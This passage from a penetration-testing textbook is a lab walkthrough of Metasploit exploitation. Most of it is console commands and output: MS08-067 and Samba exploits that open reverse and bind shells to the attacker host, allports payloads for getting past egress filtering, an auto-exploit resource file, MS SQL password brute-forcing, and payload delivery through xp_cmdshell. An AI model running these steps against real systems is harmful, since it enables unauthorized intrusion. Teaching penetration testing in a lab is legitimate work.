Next, we enter set payload windows/shell/reverse_tcp to select the reverse_tcp payload. When we enter show options again we see that additional options are shown:

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

Notice that when the payload is selected at and the options are displayed at , we are presented with some additional options in the payload section at , such as LHOST and LPORT. In this example, you could configure the payload to connect back to the attacker machine on a specific IP address and port number, called a reverse payload. In reverse payloads, the connection is actually triggered by the target machine and it connects to the attacker. You might use this technique to circumvent a firewall or NAT installation.

We’ll configure this exploit with both the LHOST and RHOST options. LHOST, our attacking machine, will connect back from the target machine (RHOST) on the default TCP port (4444).

msf> show targets

Modules often list vulnerable potential targets. For example, because the vulnerability targeted by MS08-067 relies on hard-coded memory addresses, the exploit is specific to operating systems with specific patch levels, language version, and security implementations (as explained in detail in Chapter 14 and Chapter 15). Using the show targets command at the msf MS08-067 prompt displays a list of 60 exploit targets (with only a portion shown in the following example). The success of the exploit will depend on the version of Windows you are targeting. Sometimes automatic detection will not work and could even trigger the wrong exploit, which will usually lead to a service crash.

msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)

In this example, you can see that the exploit lists Automatic Targeting as one option. Often, an exploit module will attempt to target the operating system automatically based on its version and select an exploit based on the system’s fingerprint. However, it’s often best to try to identify the appropriate exploit yourself to avoid triggering the wrong exploit or a potentially destructive one.

Note

This particular exploit is temperamental, and it has a tough time determining the operating system. If you use this exploit, be sure to set the target as the specific operating system you use in testing on your VM (Windows XP SP2).

info

When the short description of a module provided by the show and search commands isn’t sufficient, use the info command followed by the module name to display all the information, options, and targets available for that module:

msf exploit(ms08_067_netapi) > info

set and unset

All the options for a given Metasploit module must be either set or unset, especially if they are marked as required or yes. When you enter show options, you will see information that specifies whether a field is required. Use the set command to set an option (turn it on); use unset to turn a setting off. The next listing shows the set and unset commands in use.

Note

Notice that the variables are referenced using uppercase characters. This isn’t required, but it is considered good practice.

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.155 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name
-- ----
3 Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) > unset RHOST
Unsetting RHOST...

At we set the target IP address (RHOST) to 192.168.1.155 (our target machine). At we set the target to 3, the “Windows XP SP2 English (NX)” that we listed with show targets in msf> show targets in msf> show targets. Running show options at confirms that our settings have been populated, as shown in the Module options output.

setg and unsetg

The setg and unsetg commands are used to set or unset a parameter globally within msfconsole. Using these commands can save you from having to re-enter the same information repeatedly, particularly in the case of frequently used options that rarely change, such as LHOST.

save

Having configured global options with the setg command, use the save command to save your current settings so they will be available next time you run the console. You can enter the save command at any time in Metasploit to save your current place.

msf exploit(ms08_067_netapi) > save
Saved configuration to: root.msf3/config
msf exploit(ms08_067_netapi) >

The location in which the configuration is stored, root.msf3/config, is shown on the screen. If for some reason you need to start over, move or delete this file to revert to the default settings.

Exploiting Your First Machine

With some of the basics behind us and an understanding of how to set variables within msfconsole, let’s exploit our first machine. To do so, fire up your Windows XP Service Pack 2 and Ubuntu 9.04 virtual machines. We’ll use Metasploit from within Back|Track.

If you used the vulnerability scanners discussed in Chapter 4 against your virtual Windows XP SP2 machine, you will have encountered the vulnerability we’ll exploit in this chapter: the MS08-067 exploit. We’ll begin by finding this vulnerability on our own.

As your skills as a penetration tester improve, the discovery of certain open ports will trigger ideas about how you might exploit a particular service. One of the best ways to conduct this check is by using nmap’s script options within Metasploit as shown here:

root@bt:/root# cd optframework3/msf3/
root@bt:optframework3/msf3# msfconsole

. . . SNIP . . .

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130
[*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:46 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
NSE: Script Scanning completed.
Nmap scan report for 192.168.33.130
Host is up (0.00050s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: Host: ihazsecurity; OS: Windows

Host script results:
smb-check-vulns:
MS08-067: VULNERABLE
Conficker: Likely CLEAN
regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)

OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds
msf >

Here, we call nmap from Metasploit with the --script=smb-check-vulns plug-in at . Notice the flags used while scanning the host with nmap. The -sT is a Stealth TCP connect, which we have found to be the most reliable flag when trying to enumerate ports. (Others prefer -sS, or Stealth Syn.) The -A specifies advanced OS detection, which does some additional banner grabs and footprinting of a specific service for us.

Notice in the results from nmap that MS08-067: VULNERABLE is reported at . This is a good indicator that we have a chance at exploiting this system. Let’s use Metasploit to find the exploit we want and attempt to compromise the system.

This exploit is specific to the operating system version, service pack, and language in use on the system, a result of the exploit bypassing Data Execution Prevention (DEP). DEP was created to help protect against buffer overflow attacks by rendering the stack read-only and thereby preventing arbitrarily placed shellcode from executing. However, we can bypass DEP and force Windows to make the stack writable by performing some complex stack manipulation. (For more on bypassing DEP, see http://www.uninformed.org/?v=2&a=4.)

In msf> show targets in msf> show targets, we used the show targets command, which lists each vulnerable version for this specific attack vector. Because MS08-067 is an exploit that is very specific regarding the OS version in use, we will manually set our target to make sure we trigger the correct overflow. Based on the nmap scan results shown in the preceding example, we can tell at that the system is running Windows XP Service Pack 2. (It is also identified as possibly Windows 2003, but the system is missing key ports that would be associated with the Server Edition.) We’ll assume that our target is running the English version of XP.

Let’s walk through the actual exploitation. First the setup:

msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...

Exploits
========

Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server
Service Relative Path Stack Corruption

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)

. . . SNIP . . .

26 Windows XP SP2 Japanese (NX)

. . . SNIP . . .

msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.33.130 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.33.129 yes The local address
LPORT 8080 yes The local port

Exploit target:

Id Name
-- ----
3 Windows XP SP2 English (NX)

We search for the MS08-067 NetAPI exploit in the Framework at . Then, having found our exploit, we load the windows/smb/ms08_067_netapi exploit at .

Next, at we set the payload as Windows-based Meterpreter reverse_tcp, which, if successful, will start a connection on the target machine and connect back to the attacking machine specified with LHOST. This is important if you find that a firewall is in place and you need to bypass incoming controls on a firewall or NAT.

Meterpreter is a post exploitation tool that we’ll use through this book. One of Metasploit’s flagship tools, it makes extracting information or further compromising systems significantly easier.

The show targets command at allows us to identify the system we want to target. (Although many MSF exploits use automatic targeting and don’t require this flag, autodetection capability generally fails in MS08-067.)

We then set our target to Windows XP SP2 English (NX) at . The NX stands for No Execute. By default in Windows XP SP2, DEP is enabled.

At we set the IP address of our target machine which, by defining the RHOST value, is vulnerable to the MS08-067 exploit.

The set LHOST command at specifies our attacking machine’s IP address (the Back|Track machine), and the LPORT option at specifies the port to which our attacker machine will listen for a connection from our target. (When you’re setting the LPORT option, use a standard port that you think will be allowed through the firewall: Ports 443, 80, 53, and 8080 are often good options.) Finally, we enter show options at to make sure that the options are set up correctly.

Having set the stage, we’re ready to conduct the actual exploitation:

msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.33.129:8080
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487)
msf exploit(ms08_067_netapi) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter 192.168.33.129:8080 -> 192.168.33.130:1036

msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 4060 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

The exploit command at initiates our exploit and attempts to attack the target. The attack succeeds and gives us a reverse_tcp Meterpreter payload at , which we can view with sessions -l at . Only one session is active, as shown at , but if we targeted multiple systems, several sessions could be open simultaneously. (To view a list of the exploits that created each session, you would enter sessions -l -v.)

The sessions -i 1 command is issued at to “interact” with an individual session. Notice that this drops us into a Meterpreter shell. If, for example, a reverse command shell existed, this command would drop us straight to a command prompt. And, finally, at we enter shell to jump into an interactive command shell on the target.

Congratulations! You’ve just compromised your first machine! To list the available commands for a particular exploit, you can enter show options.

Exploiting an Ubuntu Machine

Let’s try a different exploit on an Ubuntu 9.04 virtual machine. The steps are pretty much the same as for the preceding exploit except that we will select a different payload.

msf > nmap -sT -A -P0 192.168.33.132
[*] exec: nmap -sT -A -P0 192.168.33.132

Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:35 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.33.132
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
|_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 00:0C:29:21:AD:08 (VMware)
No exact OS matches for host (If you know what OS is running
on it, see http://nmap.org/submit/ ).

. . . SNIP . . .

Host script results:
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Unix (Samba 3.0.24)
| Name: MSHOME\Unknown
|_ System time: 2011-03-15 17:39:57 UTC-4

OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.11 seconds

We see three open ports: 80, 139, and 445. The message at tells us that the system is running Ubuntu, and at we see that it is running a version of Samba 3.x and Apache 2.2.3 with PHP 5.2.1.

Let’s search for a Samba exploit and try it against the system:

msf > search samba
[*] Searching loaded modules for pattern 'samba'...

Auxiliary
=========
Name Rank Description
---- ---- -----------
admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow
dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow

Exploits
========

Name Rank Description
---- ---- -----------
linux/samba/lsa_transnames_heap good Samba lsa_io_trans_names . . .

. . . SNIP . . .

msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show payloads
Compatible Payloads
===================

Name Rank Description
---- ---- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter
Service, Reverse TCP Inline
linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell,
Bind TCP Stager (IPv6)
linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager

. . . SNIP . . .

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132
RHOST => 192.168.33.132
msf exploit(lsa_transnames_heap) > exploit

[*] Creating nop sled....
[*] Started bind handler
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...

. . . SNIP . . .

[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.33.129:41551 -> 192.168.33.132:8080)
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:21:AD:08
inet addr:192.168.33.132 Bcast:192.168.33.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3178 errors:0 dropped:0 overruns:0 frame:0
TX packets:2756 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:292351 (285.4 KiB) TX bytes:214234 (209.2 KiB)
Interrupt:17 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

whoami
root

This type of exploit, called a heap-based attack, takes advantage of dynamic memory allocation, but it isn’t 100 percent reliable. (You may need to attempt the exploit command a few times if it doesn’t work the first time.)

Notice in this example that we used a bind shell to set up a listener port on the target machine; Metasploit handles the direct connection to the system automatically for us. (Remember to use the reverse payload when attacking through a firewall or NAT.)

AllPorts Payloads: Brute Forcing Ports

In the preceding examples, we’ve relied on the reverse port always being open. But what if we’re attacking an organization with very strict egress port filtering? Most companies block outbound connections except those from a few defined ports, and it can be difficult to determine which ports can make outbound connections.

We can guess that port 443 won’t be inspected and will allow a TCP connection out, and that FTP, Telnet, SSH, and HTTP may be allowed. But why guess when Metasploit has a very specific payload for use in finding open ports?

Metasploit’s payload will try every available port until it finds an open one. (Going through the entire port range [1–65535] can take quite a long time, however.)

Let’s use this payload and have it try all ports connecting outbound until we get one that is successful:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
lhost => 192.168.33.129
smsf exploit(ms08_067_netapi) > set RHOST 192.168.33.130
rhost => 192.168.33.130
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > search ports
[*] Searching loaded modules for pattern 'ports'...

Compatible Payloads
===================

Name Rank Description
---- ---- -----------
windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection,
Reverse AllPort TCP Stager
windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective

Injection), Reverse AllPort TCP Stager

. . . SNIP . . .

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
payload => windows/meterpreter/reverse_tcp_allports
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
[*] Started reverse handler on 192.168.33.129:1
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:1 -> 192.168.33.130:1047)

msf exploit(ms08_067_netapi) > sessions -l -v

Active sessions
===============

Id Type Information
Connection Via
-- ---- -----------
---------- ---
1 meterpreter NT AUTHORITY\SYSTEM @ IHAZSECURITY 192.
168.33.129:1 -> 192.168.33.130:1047

exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Notice that we do not set an LPORT; instead, we use allports because we are going to try to connect out of the network on each port until we find an open one. If you look closely at you will see that our attacker machine is bound to :1 (all ports) and that it finds a port outbound on port 1047 on the target network.

Resource Files

Resource files are script files that automate commands within msfconsole. They contain a list of commands that are executed from msfconsole and run sequentially. Resource files can greatly reduce testing and development times, allowing you to automate many repetitive tasks, including exploitation.

Resource files can be loaded from msfconsole with the resource command, or they can be passed as a command-line argument with the -r switch.

The simple example shown next creates a resource file that displays our Metasploit version and then loads the sounds plug-in:

root@bt:optframework3/msf3/ echo version > resource.rc
root@bt:optframework3/msf3/ echo load sounds >> resource.rc
root@bt:optframework3/msf3/ msfconsole -r resource.rc
resource (resource.rc)> version
Framework: 3.7.0-dev.12220
Console : 3.7.0-dev.12220
resource (resource.rc)> load sounds
[*] Successfully loaded plugin: sounds
msf >

As you can see at and , the version and load sounds commands are echoed into a text file called resource.rc. This file is then passed to msfconsole at the command line at with the -r switch, and when the file begins to load, the commands are executed at from the resource file.

A more complex resource file might automatically run a particular exploit against a machine in your lab environment. For example, the following listing uses an SMB exploit in a newly created resource file called autoexploit.rc. We set a payload and our attack and target IPs in this one file so that we don’t have to specify these options manually when attempting this exploit.

root@bt:optframework3/msf3/
echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
root@bt:optframework3/msf3/ echo set RHOST 192.168.1.155 >> autoexploit.rc
root@bt:optframework3/msf3/
echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc
root@bt:optframework3/msf3/ echo set LHOST 192.168.1.101 >> autoexploit.rc
root@bt:optframework3/msf3/ echo exploit >> autoexploit.rc
root@bt:optframework3/msf3/ msfconsole
msf > resource autoexploit.rc
resource (autoexploit.rc)> use exploit/windows/smb/ms08_067_netapi
resource (autoexploit.rc)> set RHOST 192.168.1.155
RHOST => 192.168.1.155
resource (autoexploit.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (autoexploit.rc)> set LHOST 192.168.1.101
LHOST => 192.168.1.101
resource (autoexploit.rc)> exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Triggering the vulnerability...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.155:1033)

meterpreter >

Here we specify the resource file within msfconsole, and it automatically runs our specified commands as shown by the output displayed at .

Note

These are just a couple of simple examples. In Chapter 12, you will learn how to use karma, a very large resource file.

Wrapping Up

You’ve just exploited your first machine and gained full access to it with msfconsole. Congratulations!

We began this chapter by covering the basics of exploitation and compromising a target based on a discovered vulnerability. Exploitation is about identifying a system’s potential exposures and exploiting its weaknesses. We used nmap to identify potentially vulnerable services. From there we launched an exploit that gave us access to a system.

In the next chapter, we will explore Meterpreter in more detail as we learn how to use it in post exploitation. You will find Meterpreter to be an amazing tool once you’ve compromised a system.

Chapter 6. Meterpreter

In this chapter, we’ll dive deeper into this “hacker’s Swiss army knife” that can significantly improve your post exploitation experience. Meterpreter is one of the flagship products in Metasploit and is leveraged as a payload after a vulnerability is exploited. A payload is the information returned to us when we trigger an exploit. For example, when we exploit a weakness in a Remote Procedure Call (RPC), trigger the exploit, and select Meterpreter as the payload, we would be given a Meterpreter shell to the system. Meterpreter is an extension of the Metasploit Framework that allows us to leverage Metasploit’s functionality and further compromise our target. Some of this functionality includes ways to cover your tracks, reside purely in memory, dump hashes, access operating systems, pivot, and much more.

In this chapter, we’ll leverage normal attack methods within Metasploit to compromise a Windows XP machine. Our payload, Meterpreter, will allow us to perform additional attacks after we’ve compromised the system.

Compromising a Windows XP Virtual Machine

Before we dive into the specifics of Meterpreter, we first need to compromise a system and get a Meterpreter shell.

Scanning for Ports with Nmap

We begin by identifying the services and ports running on the target by conducting a port scan with nmap to find a port to exploit, as shown here:

msf > nmap -sT -A -P0 192.168.33.130
[*] exec: nmap -sT -A -P0 192.168.33.130

. . . SNIP. . .

PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
|_html-title: Directory Listing Denied
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
6646/tcp open unknown
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003

. . . SNIP . . .

Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds

msf >

After conducting our port scan at , we see that some interesting ports are accessible, including MS SQL at , a potential attack vector. But perhaps the most interesting thing that nmap tells us is that this machine is running Windows XP Service Pack 2 at, which is now at the end of life, which means some published vulnerabilities will not have been fixed or patched by the installation of SP3.

Also of note, we see the standard FTP and SMTP ports, which might be available to be leveraged for an attack. And we see that port 80 is open, which means we have a potential web application to attack.

Attacking MS SQL

In this example, we’ll attack port 1433, MS SQL, because this is often an entry point of weakness that can lead to a complete compromise and full administrative-level control over the target.

To begin, we identify the MS SQL installation, and then launch a MS SQL Server brute force attack to see if we can guess a password. By default, MS SQL is installed on TCP port 1433 and UDP port 1434, though newer versions allow for installation on a dynamically allocated port, which can be randomized. Luckily, port 1434 UDP (for which we did not scan) remains the same and can be queried to identify the dynamic port of the SQL server.

Here, we scan the system and see that MS SQL port 1434 UDP is open:

msf > nmap -sU 192.168.33.130 -p1434

Nmap scan report for 192.168.33.130
Host is up (0.00033s latency).
PORT STATE SERVICE
1434/udp open ms-sql-m

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
msf >

As you can see, we scan our host at and see that MS SQL UDP port 1434 at is open. (Chapter 11, Chapter 13, and Chapter 17 will cover MS SQL in much more depth.)

When targeting MS SQL, we can leverage the mssql_ping module to brute force the MS SQL port and attempt to guess the username and password. When MS SQL is first installed, the program will require the user to create an sa, or system administrator, account. You’ll often be able to guess or brute force the sa account password, because when administrators install this application they do not understand the security ramifications of using either a blank password or something too simple.

In the next example, we look for the mssql_ping module and attempt to brute force the sa account:

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as

msf auxiliary(mssql_ping) > set RHOSTS 192.168.33.1/24
RHOSTS => 192.168.33.1/24
msf auxiliary(mssql_ping) > set THREADS 20
THREADS => 20
msf auxiliary(mssql_ping) > exploit

[*] Scanned 040 of 256 hosts (015% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 080 of 256 hosts (031% complete)
[*] Scanned 115 of 256 hosts (044% complete)
[*] SQL Server information for 192.168.33.130:
[*] ServerName = IHAZSECURITY
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 9.00.1399.06
[*] tcp = 1433
[*] np = \\IHAZSECURITY\pipe\MSSQL$SQLEXPRESS\sql\query
[*] Scanned 129 of 256 hosts (050% complete)

After calling the mssql_ping module with use scanner/mssql/mssql_ping and setting our options, we see that a SQL Server installation is found at 192.168.33.130 . The name of the server is IHAZSECURITY . Its version number 9.00.1399.06 shown at equates to SQL Server 2005 Express, and we know that it’s listening on TCP port 1433 .

Brute Forcing MS SQL Server

Next, we brute force the server with the Framework’s mssql_login module:

msf > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no
The password for the specified username
PASS_FILE no
File containing passwords, one per line
RHOSTS yes The target
address range or CIDR identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USERPASS_FILE no File containing users and passwords
separated by
space, one pair per line
USER_FILE no File containing
usernames, one per line
VERBOSE true yes Whether to print
output for all attempts

msf auxiliary(mssql_login) >
set PASS_FILE pentestexploits/fasttrack/bin/dict/wordlist.txt
PASS_FILE => pentestexploits/fasttrack/bin/dict/wordlist.txt
msf auxiliary(mssql_login) > set RHOSTS 192.168.33.130
RHOSTS => 192.168.33.130
msf auxiliary(mssql_login) > set THREADS 10
THREADS => 10
msf auxiliary(mssql_login) > set verbose false
verbose => false
msf auxiliary(mssql_login) > exploit
[+] 192.168.33.130:1433 - MSSQL - successful login 'sa' : 'password123'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We select the mssql_login module at and point it to the default password word list from FastTrack at . (We discuss FastTrack in more detail in Chapter 11.) At , we have successfully guessed the sa password: password123.

Note

FastTrack is a tool created by one of the authors of this book that leverages multiple attacks, exploits, and the Metasploit Framework for payload delivery. One of FastTrack’s features is its ability to use a bruteforcer to attack and compromise MS SQL automatically.

The xp_cmdshell

By running MS SQL from the sa account, we can execute the stored procedure xp_cmdshell, which lets us interact with the underlying operating system and execute commands. The xp_cmdshell is a built-in stored procedure that ships by default with SQL Server. You can call this stored procedure and have it query and execute underlying operating system calls directly with MS SQL. Think of it as a kind of superuser command prompt that allows you to run anything you want on the operating system. When we gain access to the sa account, we find that the MS SQL server is generally running with SYSTEM-level permissions, which allows us full access as an administrator to both MS SQL and the machine itself.

To get a payload onto the system, we’ll interact with the xp_cmdshell, add a local administrator, and deliver the payload through an executable. David Kennedy and Joshua Drake (jduck), have written a module (mssql_payload) that can be used to deliver any Metasploit payload through xp_cmdshell:

msf > use windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
UseCmdStager true no Wait for user input before
returning from exploit
VERBOSE false no Enable verbose output

Exploit target:

Id Name
-- ----
0 Automatic
msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(mssql_payload) > set LPORT 443
LPORT => 443
msf exploit(mssql_payload) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(mssql_payload) > set PASSWORD password123
PASSWORD => password123
msf exploit(mssql_payload) > exploit

[*] Started reverse handler on 192.168.33.129:443
[*] Command Stager progress - 2.78% done (1494/53679 bytes)
[*] Command Stager progress - 5.57% done (2988/53679 bytes)
[*] Command Stager progress - 8.35% done (4482/53679 bytes)

. . . SNIP . . .

[*] Command Stager progress - 97.32% done (52239/53679 bytes)
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1699)
meterpreter >

After selecting the mssql_payload module and setting our payload to meterpreter at , all we need to do is set the standard options before starting our Meterpreter session. We’ve succeeded in opening a Meterpreter session at on the target machine.

To recap, in the attack described here, we used the mssql_ping module to guess the MS SQL sa password, which we discovered is password123. We then leveraged the mssql_payload module to communicate with MS SQL and upload a Meterpreter shell through MS SQL, and the shell was presented to us, thereby completely compromising the system. Once the Meterpreter shell is presented, we know that the exploit was successful and we can continue with post exploitation on this system.

Basic Meterpreter Commands

Having successfully compromised the target and gained a Meterpreter console on the system, we can glean more information with some basic Meterpreter commands. Use the help command at any point for more information on how to use Meterpreter.

Capturing a Screenshot

Meterpreter’s screenshot command will export an image of the active user’s desktop and save it to the optmetasploit3/msf3/ directory, as shown in Figure 6-1.

meterpreter > screenshot
Screenshot saved to: optmetasploit3/msf3/yVHXaZar.jpeg

Desktop screen captures offer a great way to learn about a target system. For example, in Figure 6-1, we can see that McAfee antivirus software is installed and running, which means we’ll need to be cautious about what we upload to the system. (Chapter 7 discusses antivirus evasion in more detail.)

Figure 6-1. Meterpreter-captured screenshot

sysinfo

